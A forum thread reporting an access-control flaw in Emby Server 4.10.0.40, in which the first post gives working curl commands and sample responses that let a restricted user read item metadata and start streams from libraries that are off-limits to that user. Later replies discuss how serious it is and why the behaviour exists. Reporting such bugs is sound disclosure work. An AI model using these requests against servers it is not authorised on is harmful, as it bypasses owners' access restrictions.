Jump to content

Users can enumerate and start transcode streams to items in libraries that they shouldn't have access to


Recommended Posts

Posted (edited)

Emby Server Version: 4.10.0.40

Emby doesn't enforce library ACLs on direct-by-ID lookup.

I have a user named "deleteme2" that doesn't have access to my Movies library, yet this user can query items in the Movies library just fine.   

Here's how to replicate it in Linux through CLI:

# leading space keeps this out of shell history if HISTCONTROL=ignorespace/ignoreboth is set

# Set the Emby URL, and username/password of user that doesn't have access to the library item
 EMBY_URL="http://emby.url"
 DENIED_USERNAME="deleteme2"
 DENIED_PASSWORD="password"

# Get a real access token from the user
 curl -s -X POST "${EMBY_URL}/Users/AuthenticateByName" \
  -H 'Content-Type: application/json' \
  -H 'X-Emby-Authorization: Emby Client="curl-test", Device="curl", DeviceId="curl-test-device", Version="1.0.0"' \
  -d "{\"Username\":\"${DENIED_USERNAME}\",\"Pw\":\"${DENIED_PASSWORD}\"}" | tee /tmp/auth.json | jq .
 DENIED_TOKEN=$(jq -r '.AccessToken' /tmp/auth.json)
 DENIED_USER_ID=$(jq -r '.User.Id' /tmp/auth.json)

# Set the ITEM_ID of the media item in a library the user doesn't have access to
 ITEM_ID="1234567"

# Get metadata related to the item
 curl -s -o /tmp/getitem.json -w '\nHTTP %{http_code}\n' \
  "${EMBY_URL}/Users/${DENIED_USER_ID}/Items/${ITEM_ID}?Fields=SeriesName" \
  -H "X-Emby-Token: ${DENIED_TOKEN}"
 cat /tmp/getitem.json | jq 

#########################################
###
### EXAMPLE OUTOUT
###

HTTP 200
{
  "Name": "Family Guy Presents: Blue Harvest",
  "OriginalTitle": "Family Guy Presents: Blue Harvest",
  "ServerId": "REDACTED",
  "Id": "1234567",
<...snip...>

We can go further and start a stream in the library that we shouldn't have access to:

curl -s -o /tmp/playbackinfo.json -w '\nHTTP %{http_code}\n' \
  -X POST "${EMBY_URL}/Items/${ITEM_ID}/PlaybackInfo" \
  -H "X-Emby-Token: ${DENIED_TOKEN}" \
  -H 'Content-Type: application/json' \
  -d @- <<EOF
{
  "UserId": "${DENIED_USER_ID}",
  "DeviceProfile": {
    "MaxStreamingBitrate": 120000000,
    "DirectPlayProfiles": [
      {"Container": "mp4,m4v", "Type": "Video", "VideoCodec": "h264,vp9,av1", "AudioCodec": "aac,mp3,opus,flac"}
    ],
    "TranscodingProfiles": [
      {"Container": "ts", "Type": "Video", "VideoCodec": "h264", "AudioCodec": "aac", "Protocol": "hls", "Context": "Streaming"}
    ]
  },
  "AutoOpenLiveStream": false,
  "StartTimeTicks": 0,
  "EnableDirectPlay": true,
  "EnableDirectStream": true,
  "EnableTranscoding": true,
  "AllowVideoStreamCopy": true,
  "AllowAudioStreamCopy": true
}
EOF
cat /tmp/playbackinfo.json | jq .


#########################################
###
### EXAMPLE OUTOUT
###

HTTP 200
{
  "MediaSources": [
    {
      "Chapters": [
        {
          "StartPositionTicks": 0,
          "Name": "Chapter 01",
          "ImageTag": "b2f1fb884f03d1be088b4842ca0f34c7_0",
          "MarkerType": "Chapter",
          "ChapterIndex": 0
        },
        <...snip...>
      ],
      "Protocol": "File",
      "Id": "mediasource_1234567",
      "Path": "/media/movies/Family Guy Presents Blue Harvest (2008) [imdb-tt0888817]/Family Guy Presents Blue Harvest (2007) [Bluray-1080p][AC3 5.1][x264].mp4",
      "Type": "Default",
      <...snip...>
      "TranscodingUrl": "/videos/1234567/master.m3u8?DeviceId=curl-test-device&MediaSourceId=mediasource_1234567&PlaySessionId=REDACTED&api_key=REDACTED&VideoCodec=h264&AudioCodec=aac&VideoBitrate=119360000&AudioBitrate=640000&AudioStreamIndex=1&SegmentContainer=ts&BreakOnNonKeyFrames=False&TranscodeReasons=AudioCodecNotSupported",
      "TranscodingSubProtocol": "hls",
      "TranscodingContainer": "ts",
      "ReadAtNativeFramerate": false,
      "DefaultAudioStreamIndex": 1,
      "ItemId": "1234567",
      "MimeType": "video/mp4",
      "TranscodingMimeType": "video/mp2t"
    }
  ],
  "PlaySessionId": "REDACTED"
}
        

 

embyserver(6).txt

Edited by cnstarz
Add server logs
Posted

Please nobody tell my mom about this. Whew that was close.

js28194
Posted

Man/Woman... you got some advanced/bored users... maybe they should get some nextflix and chill?  My experience, private friends and family don't do this, but ok.  I'd tell my mom, but she go'd meh eff off.

Posted

Just don't give Mr. Robot the password, I guess.

TMCsw
Posted
On 9/10/2026 at 4:12 PM, cnstarz said:

Here's how to replicate it in Linux through CLI:

I have not tried this, so I’m assuming it’s legitimate, but in order exploit this, it looks like an actual user on your server would require intimate access (admin) and knowledge of your server, no?

How else would they get the proper payload?

Q-Droid
Posted

I guess this would be a problem if your paying customers are trying to circumvent the restrictions you've placed on their account.

 

Posted

Hi, the main reason why this is possible is to allow an admin to remote control play content to a device that is signed into from a lesser user. For example, parent/child. 

But it should be handled better to prevent this from being possible.

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...